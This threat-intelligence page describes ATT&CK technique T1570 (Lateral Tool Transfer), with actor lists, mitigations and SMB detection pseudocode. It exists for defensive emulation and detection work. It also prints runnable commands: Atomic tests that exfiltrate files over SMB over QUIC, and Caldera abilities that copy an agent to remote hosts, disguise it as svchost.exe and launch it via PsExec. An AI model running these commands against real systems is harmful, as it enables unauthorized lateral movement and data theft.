T1570 · threatengine.sh

Home/ATT&CK Technique/Lateral Tool Transfer

ATT&CK Technique

Lateral Tool Transfer

T1570 · lateral-movement

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.

ESXiLinuxmacOSWindows

◆

Actors Using This

iranAgrius
north_koreaAndariel
unknown_likely_russia_alignedAnubis Ransomware
chinaAPT10
chinaAPT17
chinaAPT1
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37
north_koreaAPT38
iranAPT39
chinaAPT3

◈

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.

reconnaissance earlier

T1592 · Gather Victim Host Information ×2.43 T1592.002 · Software ×2.43 T1595.003 · Wordlist Scanning ×2.43 T1589.002 · Email Addresses ×2.32

persistence earlier

T1136.002 · Domain Account ×2.43 T1037.003 · Network Logon Script ×2.43 T1137.006 · Add-ins ×2.43

privilege-escalation earlier

T1546.001 · Change Default File Association ×2.43 T1546.011 · Application Shimming ×2.43

discovery earlier

T1007 · System Service Discovery ×2.43 T1124 · System Time Discovery ×2.43

lateral-movement same

T1210 · Exploitation of Remote Services ×2.26

collection later

T1602 · Data from Configuration Repository ×2.43 T1213.006 · Databases ×2.43

impact later

T1488 · Disk Content Wipe ×2.43

▸

Atomic Tests

Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.

powershellelevatedwindowsExfiltration Over SMB over QUIC (New-SmbMapping)

Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command. Prerequisites: - A file server running Windows Server 2022 Datacenter: Azure Edition - A Windows 11 computer - Windows Admin Center

New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck
copy '#{local_file}' 'Z:\'

powershellelevatedwindowsExfiltration Over SMB over QUIC (NET USE)

Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command. Prerequisites: - A file server running Windows Server 2022 Datacenter: Azure Edition - A Windows 11 computer - Windows Admin Center

NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK
copy '#{local_file}' '*:\'

▣

Mitigations

MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.

M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1037Filter Network Traffic

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Ingress Traffic Filtering

Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.

Egress Traffic Filtering

Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.

Protocol-Based Filtering

Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.
Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.

Network Segmentation

Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.

Application Layer Filtering

Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.

◈

Detection Coverage

3/6 layers

Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).

Behavioral / log (Sigma) 4

Analytics (MITRE CAR) 3

Runtime / container (Falco) none

File / malware (YARA) none

Network (Suricata/Snort) 30

Vuln scan (Nuclei) none

◈

CAR Analytics

MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.

CAR-2013-05-003Moderate coverageSMB Write Request

As described in [CAR-2013-01-003](../CAR-2013-01-003), SMB provides a means of remotely managing a file system. Adversaries often use SMB to move laterally to a host. SMB is commonly used to upload files.

It may be used for staging in Exfiltration or as a Lateral Movement technique. Unlike SMB Reads, SMB Write requests typically require an additional level of access, resulting in less activity. Focusing on SMB Write activity narrows the field to find techniques that actively change remote hosts, instead of passively reading files.

pseudocode

flow = search Flow:Message
smb_write = filter flow where (dest_port == "445" and protocol == "smb.write")
smb_write.file_name = smb_write.proto_info.file_name
output smb_write

CAR-2013-05-005Moderate coverageSMB Copy and Execution

An adversary needs to gain access to other hosts to move throughout an environment. In many cases, this is a twofold process. First, a file is remotely written to a host via an SMB share (detected by [CAR-2013-05-003](../CAR-2013-05-003)).

Then, a variety of Execution techniques can be used to remotely establish execution of the file or script. To detect this behavior, look for files that are written to a host over SMB and then later run directly as a process or in the command line arguments. SMB File Writes and Remote Execution may happen normally in an environment, but the combination of the two behaviors is less frequent and more likely to indicate adversarial activity.

This can possibly extend to more copy protocols in order to widen its reach, or it could be tuned more finely to focus on specific program run locations (e.g. %SYSTEMROOT%\system32) to gain a higher detection rate.

pseudocode

process = search Process:Create
smb_write = run Analytic:CAR-2013-05-003
remote_start = join (smb_write, process) where (
 smb_write.hostname == process.hostname and
 smb_write.file_path == process.image_path
 (smb_write.time < process.time)
)
output remote_start

CAR-2014-03-001Low coverageSMB Write Request - NamedPipes

An SMB write can be an indicator of lateral movement, especially when combined with other information such as execution of that written file. Named pipes are a subset of SMB write requests. Named pipes such as msftewds may not be alarming.

however others, such as lsarpc, may. Monitoring SMB write requests still creates some noise, particulary with named pipes. As a result, SMB is now split between writing named pipes and writing other files.

pseudocode

flow = search Flow:Message
smb_write = filter flow where (dest_port == "445" and protocol == "smb.write_pipe")
smb_write.pipe_name = smb_write.proto_info.pipe_name
output smb_write

▸

Caldera Emulation

MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.

lateral-movementwindows, darwin, linuxCopy 54ndc47 (WinRM and SCP)

$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;

lateral-movementwindowsCopy Sandcat File using PsExec on CMD

net /y use \\#{remote.host.name} & copy /y sandcat.go-windows
\\#{remote.host.name}\Users\Public & #{psexec.path} -accepteula \\#{remote.host.name}
cmd /c start C:\Users\Public\sandcat.go-windows -server #{server} -v

▣

Comply & Defend

NIST 800-53AC-03, AC-04, CA-07, CM-02, CM-06, CM-07, SC-07, SI-03, SI-04, SI-10, SI-15

D3FEND11 defensive techniques

Intelligence Graph · click any node to traverse

CVETechnique ActorTool Family

drag to reposition · click any node to traverse · button top-right enlarges

External lookups - second-class, for what we don’t hold ourselves

MITRE ATT&CK Atomic Red Team car (MITRE)

Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities

Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs

Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures

Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1

About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service

threatengine.sh · Open-source threat intelligence platform · 100+ authoritative sources · Every fact traces to its origin